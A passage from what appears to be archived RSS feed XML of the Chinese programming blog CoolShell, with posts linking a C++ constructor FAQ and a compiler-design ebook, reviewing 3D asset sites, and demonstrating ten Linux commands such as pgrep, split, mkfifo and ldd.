Idiom&quot;?\" href=\"http://www.parashift.com/c++-faq-lite/ctors.html#faq-10.8\">[8]什么是“名字构造函数”（Named Constructor Idiom）？</a></p>\n<p><a title=\"[9] Does return-by-value mean extra copies and extra overhead?\" href=\"http://www.parashift.com/c++-faq-lite/ctors.html#faq-10.9\">[9] “值返回”意味着额外的拷贝吗？</a></p>\n<p><a title=\"[10] Why can't I initialize my static member data in my constructor's initialization list?\" href=\"http://www.parashift.com/c++-faq-lite/ctors.html#faq-10.10\">[10] 为什么我们不能在构造函数初始化列表中初始化一个 <tt>static</tt> 成员变量？</a></p>\n<p><a title=\"[11] Why are classes with static data members getting linker errors?\" href=\"http://www.parashift.com/c++-faq-lite/ctors.html#faq-10.11\">[11] 为什么一个有 <tt>static</tt> 成员变量的类会有链接错误？</a></p>\n<p><a title=\"[12] What's the &quot;static initialization order fiasco&quot;?\" href=\"http://www.parashift.com/c++-faq-lite/ctors.html#faq-10.12\">[12] 什么是“<tt>static</tt> initialization order fiasco”？</a></p>\n<p><a title=\"[13] How do I prevent the &quot;static initialization order fiasco&quot;?\" href=\"http://www.parashift.com/c++-faq-lite/ctors.html#faq-10.13\">[13] 我该如果避免 “<tt>static</tt> initialization order fiasco”?</a></p>\n<p><a title=\"[14] Why doesn't the construct-on-first-use idiom use a static object instead of a static pointer?\" href=\"http://www.parashift.com/c++-faq-lite/ctors.html#faq-10.14\">[14] 为什么 construct-on-first-use 什么静态变量而不是指针？</a></p>\n<p><a title=\"[15] How do I prevent the &quot;static initialization order fiasco&quot; for my static data members?\" href=\"http://www.parashift.com/c++-faq-lite/ctors.html#faq-10.15\">[15] 怎么才能避免静态成员中的“<tt>static</tt> initialization order fiasco” ？</a></p>\n<p><a title=\"[16] Do I need to worry about the &quot;static initialization order fiasco&quot; for variables of built-in/intrinsic types?\" href=\"http://www.parashift.com/c++-faq-lite/ctors.html#faq-10.16\">[16] 我是否要为内建类型的“<tt>static</tt> initialization order fiasco”而担心？</a></p>\n<p><a title=\"[17] How can I handle a constructor that fails?\" href=\"http://www.parashift.com/c++-faq-lite/ctors.html#faq-10.17\">[17] 如果构造函数出错了怎么办？</a></p>\n<p><a title=\"[18] What is the &quot;Named Parameter Idiom&quot;?\" href=\"http://www.parashift.com/c++-faq-lite/ctors.html#faq-10.18\">[18] 什么是“命名参数惯用法”（Named Parameter Idiom）？</a></p>\n<p><a title=\"[19] Why am I getting an error after declaring a Foo object via Foo x(Bar())?\" href=\"http://www.parashift.com/c++-faq-lite/ctors.html#faq-10.19\">[19] 为什么我通过<tt>Foo x(Bar())</tt>声明一个<tt>Foo</tt> 对象会得到一个错误？</a><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/20845.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2020/03/rust-social-wide-150x150.jpg\" alt=\"Rust语言的编程范式\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/20845.html\" class=\"wp_rp_title\">Rust语言的编程范式</a></li><li ><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2018/05/300x262-150x150.jpg\" alt=\"程序员练级攻略（2018)  与我的专栏\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_title\">程序员练级攻略（2018)  与我的专栏</a></li><li ><a href=\"https://coolshell.cn/articles/18024.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2017/07/api-design-300x278-2-150x150.jpg\" alt=\"API设计原则 &#8211; Qt官网的设计实践总结\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/18024.html\" class=\"wp_rp_title\">API设计原则 &#8211; Qt官网的设计实践总结</a></li><li ><a href=\"https://coolshell.cn/articles/12052.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/29.jpg\" alt=\"Leetcode 编程训练\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/12052.html\" class=\"wp_rp_title\">Leetcode 编程训练</a></li><li ><a href=\"https://coolshell.cn/articles/12012.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2014/10/edsm-150x150.gif\" alt=\"State Threads 回调终结者\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/12012.html\" class=\"wp_rp_title\">State Threads 回调终结者</a></li><li ><a href=\"https://coolshell.cn/articles/11466.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2014/04/c99-150x150.jpg\" alt=\"C语言的整型溢出问题\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/11466.html\" class=\"wp_rp_title\">C语言的整型溢出问题</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/804.html\">关于C++构造函数的FAQ</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/804.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>0</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t</channel>\n</rss>\n"
  },
  {
    "path": "blogs/rss/feed-43.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?><rss version=\"2.0\"\n\txmlns:content=\"http://purl.org/rss/1.0/modules/content/\"\n\txmlns:wfw=\"http://wellformedweb.org/CommentAPI/\"\n\txmlns:dc=\"http://purl.org/dc/elements/1.1/\"\n\txmlns:atom=\"http://www.w3.org/2005/Atom\"\n\txmlns:sy=\"http://purl.org/rss/1.0/modules/syndication/\"\n\txmlns:slash=\"http://purl.org/rss/1.0/modules/slash/\"\n\t>\n\n<channel>\n\t<title>第 43 页 &#8211; 酷 壳 &#8211; CoolShell</title>\n\t<atom:link href=\"https://coolshell.cn/feed?paged=43\" rel=\"self\" type=\"application/rss+xml\" />\n\t<link>https://coolshell.cn</link>\n\t<description>享受编程和技术所带来的快乐 - Coding Your Ambition</description>\n\t<lastBuildDate>Tue, 06 Dec 2011 03:22:37 +0000</lastBuildDate>\n\t<language>zh-CN</language>\n\t<sy:updatePeriod>\n\thourly\t</sy:updatePeriod>\n\t<sy:updateFrequency>\n\t1\t</sy:updateFrequency>\n\t<generator>https://wordpress.org/?v=6.2</generator>\n\t<item>\n\t\t<title>电子书：编译器设计基础</title>\n\t\t<link>https://coolshell.cn/articles/799.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/799.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Mon, 11 May 2009 14:20:24 +0000</pubDate>\n\t\t\t\t<category><![CDATA[技术读物]]></category>\n\t\t<category><![CDATA[Compiler]]></category>\n\t\t<category><![CDATA[ebook]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=799</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>这是一本关于编译器设计原理的书，让我又想起了大学时的《编译原理》还有那长篇长篇的作业，以及几个方法分析器的上机实习。现在基本上都全部还给老师了。 Basics ...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/799.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/799.html\">电子书：编译器设计基础</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script>这是一本关于编译器设计原理的书，让我又想起了大学时的《编译原理》还有那长篇长篇的作业，以及几个方法分析器的上机实习。现在基本上都全部还给老师了。</p>\n<p>Basics of Compiler Design<br />\n<a href=\"http://www.diku.dk/hjemmesider/ansatte/torbenm/Basics/\">http://www.diku.dk/hjemmesider/ansatte/torbenm/Basics/</a></p>\n<p><a href=\"http://www.diku.dk/hjemmesider/ansatte/torbenm/Basics/basics_lulu.pdf\"><strong>PDF下载</strong></a><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" id=\"wp_rp_first\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/9410.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2013/04/figure1-150x150.gif\" alt=\"Unix考古记：一个“遗失”的shell\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/9410.html\" class=\"wp_rp_title\">Unix考古记：一个“遗失”的shell</a></li><li ><a href=\"https://coolshell.cn/articles/8115.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2012/08/VEC-vs-vector-150x150.jpg\" alt=\"GCC 用 C++ 来编译\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/8115.html\" class=\"wp_rp_title\">GCC 用 C++ 来编译</a></li><li ><a href=\"https://coolshell.cn/articles/7886.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2012/07/muxnt-150x150.jpg\" alt=\"代码执行的效率\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/7886.html\" class=\"wp_rp_title\">代码执行的效率</a></li><li ><a href=\"https://coolshell.cn/articles/4710.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/17.jpg\" alt=\"Python 和 PyGame 的一些示例\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/4710.html\" class=\"wp_rp_title\">Python 和 PyGame 的一些示例</a></li><li ><a href=\"https://coolshell.cn/articles/4220.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/0.jpg\" alt=\"一些有意思的文章和资源\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/4220.html\" class=\"wp_rp_title\">一些有意思的文章和资源</a></li><li ><a href=\"https://coolshell.cn/articles/3903.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/14.jpg\" alt=\"一些有意思的贴子和工具\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/3903.html\" class=\"wp_rp_title\">一些有意思的贴子和工具</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/799.html\">电子书：编译器设计基础</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/799.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>1</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>5个不错的3D素材网站</title>\n\t\t<link>https://coolshell.cn/articles/796.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/796.html#respond</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Mon, 11 May 2009 14:14:47 +0000</pubDate>\n\t\t\t\t<category><![CDATA[杂项资源]]></category>\n\t\t<category><![CDATA[3D]]></category>\n\t\t<category><![CDATA[Game]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=796</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>你也许并不是一个创建3D图形的好手，你也许只能创建一些原始的东西，如：停止或灯炮标志等等这些小孩子玩的东西。而我们现实世界则需要更复杂更牛的东西，比如说一个人物...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/796.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/796.html\">5个不错的3D素材网站</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script>你也许并不是一个创建3D图形的好手，你也许只能创建一些原始的东西，如：停止或灯炮标志等等这些小孩子玩的东西。而我们现实世界则需要更复杂更牛的东西，比如说一个人物，一个机车等等。这里有史上最好的5个网站，你可以通过这些网站找到你想要的模型，这些3D的模型或资源对你开发游戏一定会有很大的帮助。</p>\n<h3><a href=\"http://www.3drt.com/\">3DRT</a></h3>\n<p>这是一个迄今为止最好的站点。不仅仅因为这个站点有很多非常专业的模型，而且这个站点在收费方面还不是太坏——经常会有一些折扣。几乎，所有的模型都是动两国的，而且他们还是有皮肤的。他们有各式各样样的格式，并且提供PSD文件，这样方便你创建自己的皮肤。</p>\n<p><span id=\"more-796\"></span></p>\n<h3><a href=\"http://www.garagegames.com/products/browse/artpacks\">Garage Games</a></h3>\n<p>在 Garage Games，一些艺术包也有非常“漂亮”的价格，有一些相当不错，但也有一些普普通通。这些东西完全取决于艺术家们怎么去创作他们的。这个站点并不提供很多的格式。另外，在 Garage Games上，你还能找到很多不错的声音素材。</p>\n<h3><a href=\"http://www.fpscreator.com/\">FPS Creator</a></h3>\n<p>这个站点有很多相当不错的模型和声音。所有的素材都是动画的和有皮肤的。所有的都是基于FPS creator格式的和可以被转换成其它格式的 .X 格式。有一个很不错的是，这些FPS 模型（手臂和火枪）包括了很多的乱七八糟的生物和敌人，这些东西几乎可以用来直接用于游戏了。</p>\n<h3><a href=\"http://www.realmcrafter.com/store/home.php?cat=250\">Realm Crafter Packs</a></h3>\n<p>这里的模式是中等质量的。他们并不是最好的，不过他们的价格可能是比较低的。几乎所有的模型都是有动画的并有一些不同的格式。有一些模式只是静态的而没有动画。</p>\n<h3><a href=\"http://www.tridinaut.com/products.htm\">Tridinaut</a></h3>\n<p>如果你想一些中世纪的武器，那么这个站点会给你提供很多这类的玩意。质量非常好，而且所有的模型现在还在免费。如果你给上 $50-$100 美金，他们会给你制作你想要的东西，这些人的确非常不错。</p>\n<p>希望你觉得这5个站点对你的游戏编程的工作很有用。</p>\n<p>文章：<a href=\"http://www.omahagamedev.com/?p=12\" target=\"_blank\">来源</a><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/7829.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2012/07/dstat_screenshot-150x150.png\" alt=\"28个Unix/Linux的命令行神器\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/7829.html\" class=\"wp_rp_title\">28个Unix/Linux的命令行神器</a></li><li ><a href=\"https://coolshell.cn/articles/5537.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2011/11/stackparts.com_-150x150.png\" alt=\"一些文章资源和趣闻\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/5537.html\" class=\"wp_rp_title\">一些文章资源和趣闻</a></li><li ><a href=\"https://coolshell.cn/articles/3903.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/14.jpg\" alt=\"一些有意思的贴子和工具\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/3903.html\" class=\"wp_rp_title\">一些有意思的贴子和工具</a></li><li ><a href=\"https://coolshell.cn/articles/3516.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/23.jpg\" alt=\"JS游戏引擎列表\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/3516.html\" class=\"wp_rp_title\">JS游戏引擎列表</a></li><li ><a href=\"https://coolshell.cn/articles/3267.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2010/11/flash_vs_html5-150x150.jpg\" alt=\"游戏Flash vs HTML5\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/3267.html\" class=\"wp_rp_title\">游戏Flash vs HTML5</a></li><li ><a href=\"https://coolshell.cn/articles/2998.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/1.jpg\" alt=\"HTML5 小游戏展示\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/2998.html\" class=\"wp_rp_title\">HTML5 小游戏展示</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/796.html\">5个不错的3D素材网站</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/796.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>0</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>十个你可能不曾用过的Linux命令</title>\n\t\t<link>https://coolshell.cn/articles/790.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/790.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Sun, 10 May 2009 11:26:09 +0000</pubDate>\n\t\t\t\t<category><![CDATA[Unix/Linux]]></category>\n\t\t<category><![CDATA[操作系统]]></category>\n\t\t<category><![CDATA[Linux]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=790</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>下面可能是你不曾用过后十个Linux的命令。相当的有用。 1）pgrep pgrep名字前有个p，我们可以猜到这和进程相关，又是grep，当然这是进程相关的gr...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/790.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/790.html\">十个你可能不曾用过的Linux命令</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script>下面可能是你不曾用过后十个Linux的命令。相当的有用。</p>\n<p><strong>1）pgrep</strong></p>\n<p>pgrep名字前有个p，我们可以猜到这和进程相关，又是grep，当然这是进程相关的grep命令。不过，这个命令主要是用来列举进程ID的。如：</p>\n<pre data-enlighter-language=\"shell\" class=\"EnlighterJSRAW\">\n$ pgrep -u hchen\n22441\n22444\n</pre>\n<p>这个命令相当于：</p>\n<p><code data-enlighter-language=\"shell\" class=\"EnlighterJSRAW\">ps -ef | egrep &#039;^hchen&#039; | awk &#039;{print $2}&#039;</code></p>\n<p><span id=\"more-790\"></span></p>\n<p><strong>2）pstree</strong></p>\n<p>这个命令可以以树形的方式列出进程。如下所示：</p>\n<pre data-enlighter-language=\"shell\" class=\"EnlighterJSRAW\">\n[hchen@RHELSVR5 ~]$ pstree\ninit-+-acpid\n     |-auditd-+-python\n     |        `-{auditd}\n     |-automount---4*[{automount}]\n     |-backup.sh---sleep\n     |-dbus-daemon\n     |-events/0\n     |-events/1\n     |-hald---hald-runner---hald-addon-acpi\n     |-httpd---10*[httpd]\n     |-irqbalance\n     |-khelper\n     |-klogd\n     |-ksoftirqd/0\n     |-ksoftirqd/1\n     |-kthread-+-aio/0\n     |         |-aio/1\n     |         |-ata/0\n     |         |-ata/1\n     |         |-ata_aux\n     |         |-cqueue/0\n     |         |-cqueue/1\n     |         |-kacpid\n     |         |-kauditd\n     |         |-kblockd/0\n     |         |-kblockd/1\n     |         |-kedac\n     |         |-khubd\n     |         |-6*[kjournald]\n     |         |-kmirrord\n     |         |-kpsmoused\n     |         |-kseriod\n     |         |-kswapd0\n     |         |-2*[pdflush]\n     |         |-scsi_eh_0\n     |         |-scsi_eh_1\n     |         |-xenbus\n     |         `-xenwatch\n     |-migration/0\n     |-migration/1\n     |-6*[mingetty]\n     |-3*[multilog]\n     |-mysqld_safe---mysqld---9*[{mysqld}]\n     |-smartd\n     |-sshd---sshd---sshd---bash---pstree\n     |-svscanboot---svscan-+-3*[supervise---run]\n     |                     |-supervise---qmail-send-+-qmail-clean\n     |                     |                        |-qmail-lspawn\n     |                     |                        `-qmail-rspawn\n     |                     `-2*[supervise---tcpserver]\n     |-syslogd\n     |-udevd\n     |-watchdog/0\n     |-watchdog/1\n     `-xinetd\n</pre>\n<p> </p>\n<p><strong>3）bc</strong></p>\n<p>这个命令主要是做一个精度比较高的数学运算的。比如开平方根等。下面是一个我们利用bc命令写的一个脚本（文件名：sqrt）</p>\n<pre data-enlighter-language=\"shell\" class=\"EnlighterJSRAW\">\n#!/bin/bash\nif [ $# -ne 1 ]\nthen\n    echo &#039;Usage: sqrt number&#039;\n    exit 1\nelse\n    echo -e &quot;sqrt($1)\\nquit\\n&quot; | bc -q -i\nfi\n</pre>\n<p>于是，我们可以这样使用这个脚本进行平方根运算：</p>\n<pre data-enlighter-language=\"shell\" class=\"EnlighterJSRAW\">\n[hchen@RHELSVR5]$ ./sqrt 36\n6\n[hchen@RHELSVR5]$ ./sqrt 2.0000\n1.4142\n[hchen@RHELSVR5]$ ./sqrt 10.0000\n3.1622\n</pre>\n<p> </p>\n<p><strong>4）split</strong></p>\n<p>如果你有一个很大的文件，你想把其分割成一些小的文件，那么这个命令就是干这件事的了。</p>\n<pre data-enlighter-language=\"shell\" class=\"EnlighterJSRAW\">\n[hchen@RHELSVR5 applebak]# ls -l largefile.tar.gz\n-rw-r--r-- 1 hchen hchen 436774774 04-17 02:00 largefile.tar.gz \n\n[hchen@RHELSVR5 applebak]# split -b 50m largefile.tar.gz LF_\n\n[hchen@RHELSVR5]# ls -l LF_*\n-rw-r--r-- 1 hchen hchen 52428800 05-10 18:34 LF_aa\n-rw-r--r-- 1 hchen hchen 52428800 05-10 18:34 LF_ab\n-rw-r--r-- 1 hchen hchen 52428800 05-10 18:34 LF_ac\n-rw-r--r-- 1 hchen hchen 52428800 05-10 18:34 LF_ad\n-rw-r--r-- 1 hchen hchen 52428800 05-10 18:34 LF_ae\n-rw-r--r-- 1 hchen hchen 52428800 05-10 18:35 LF_af\n-rw-r--r-- 1 hchen hchen 52428800 05-10 18:35 LF_ag\n-rw-r--r-- 1 hchen hchen 52428800 05-10 18:35 LF_ah\n-rw-r--r-- 1 hchen hchen 17344374 05-10 18:35 LF_ai\n</pre>\n<p> </p>\n<p>文件合并只需要使用简单的合并就行了，如：</p>\n<pre data-enlighter-language=\"shell\" class=\"EnlighterJSRAW\">\n[hchen@RHELSVR5]#  cat LF_* &gt;largefile.tar.gz\n</pre>\n<p> </p>\n<p><strong>5）nl</strong></p>\n<p>nl命令其它和cat命令很像，只不过它会打上行号。如下所示：</p>\n<pre data-enlighter-language=\"shell\" class=\"EnlighterJSRAW\">\n[hchen@RHELSVR5 include]# nl stdio.h | head -n 10\n     1  /* Define ISO C stdio on top of C++ iostreams.\n     2     Copyright (C) 1991,1994-2004,2005,2006 Free Software Foundation, Inc.\n     3     This file is part of the GNU C Library. \n\n     4     The GNU C Library is free software; you can redistribute it and/or\n     5     modify it under the terms of the GNU Lesser General Public\n     6     License as published by the Free Software Foundation; either\n     7     version 2.1 of the License, or (at your option) any later version.\n\n     8     The GNU C Library is distributed in the hope that it will be useful,\n</pre>\n<p> </p>\n<p><strong>6）mkfifo</strong></p>\n<p>熟悉Unix的人都应该知道这个是一个创建有名管道的系统调用或命令。平时，我们在命令行上使用竖线“|”把命令串起来是使用无命管道。而我们使用mkfifo则使用的是有名管道。下面是示例：</p>\n<p>下面是创建一个有名管道：</p>\n<pre data-enlighter-language=\"shell\" class=\"EnlighterJSRAW\">\n[hchen@RHELSVR5 ~]# mkfifo /tmp/hchenpipe\n\n[hchen@RHELSVR5 ~]# ls -l /tmp\nprw-rw-r-- 1 hchen  hchen  0 05-10 18:58 hchenpipe\n</pre>\n<p>然后，我们在一个shell中运行如下命令，这个命令不会返回，除非有人从这个有名管道中把信息读走。</p>\n<pre data-enlighter-language=\"shell\" class=\"EnlighterJSRAW\">\n[hchen@RHELSVR5 ~]# ls -al &gt; /tmp/hchenpipe\n</pre>\n<p>我们在另一个命令窗口中读取这个管道中的信息：（其会导致上一个命令返回）</p>\n<pre data-enlighter-language=\"shell\" class=\"EnlighterJSRAW\">\n[hchen@RHELSVR5 ~]# head /tmp/hchenpipe\ndrwx------ 8 hchen hchen    4096 05-10 18:27 .\ndrwxr-xr-x 7 root  root     4096 03-05 00:06 ..\ndrwxr-xr-x 3 hchen hchen    4096 03-01 18:13 backup\n-rw------- 1 hchen hchen     721 05-05 22:12 .bash_history\n-rw-r--r-- 1 hchen hchen      24 02-28 22:20 .bash_logout\n-rw-r--r-- 1 hchen hchen     176 02-28 22:20 .bash_profile\n-rw-r--r-- 1 hchen hchen     124 02-28 22:20 .bashrc\n-rw-r--r-- 1 root  root    14002 03-07 00:29 index.htm\n-rw-r--r-- 1 hchen hchen   31465 03-01 23:48 index.php\n</pre>\n<p> </p>\n<p><strong>7）ldd</strong></p>\n<p>这个命令可以知道你的一个可执行文件所使用了动态链接库。如：</p>\n<pre data-enlighter-language=\"shell\" class=\"EnlighterJSRAW\">\n[hchen@RHELSVR5 ~]# ldd /usr/bin/java\n        linux-gate.so.1 =&gt;  (0x00cd9000)\n        libgij.so.7rh =&gt; /usr/lib/libgij.so.7rh (0x00ed3000)\n        libgcj.so.7rh =&gt; /usr/lib/libgcj.so.7rh (0x00ed6000)\n        libpthread.so.0 =&gt; /lib/i686/nosegneg/libpthread.so.0 (0x00110000)\n        librt.so.1 =&gt; /lib/i686/nosegneg/librt.so.1 (0x009c8000)\n        libdl.so.2 =&gt; /lib/libdl.so.2 (0x008b5000)\n        libz.so.1 =&gt; /usr/lib/libz.so.1 (0x00bee000)\n        libgcc_s.so.1 =&gt; /lib/libgcc_s.so.1 (0x00aa7000)\n        libc.so.6 =&gt; /lib/i686/nosegneg/libc.so.6 (0x0022f000)\n        libm.so.6 =&gt; /lib/i686/nosegneg/libm.so.6 (0x00127000)\n        /lib/ld-linux.so.2 (0x00214000)\n</pre>\n<p> </p>\n<p><strong>8）col</strong></p>\n<p>这个命令可以让你把man文件转成纯文本文件。如下示例：</p>\n<pre data-enlighter-language=\"shell\" class=\"EnlighterJSRAW\">\n# PAGER=cat\n# man less | col -b &gt; less.txt\n</pre>\n<p> </p>\n<p><strong>9）xmlwf</strong></p>\n<p>这个命令可以让你检查一下一个XML文档是否是所有的tag都是正常的。如：</p>\n<pre data-enlighter-language=\"shell\" class=\"EnlighterJSRAW\">\n[hchen@RHELSVR5 ~]# curl &#039;https://coolshell.cn/?feed=rss2&#039; &gt; cocre.xml\n  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current\n                                 Dload  Upload   Total   Spent    Left  Speed\n100 64882    0 64882    0     0  86455  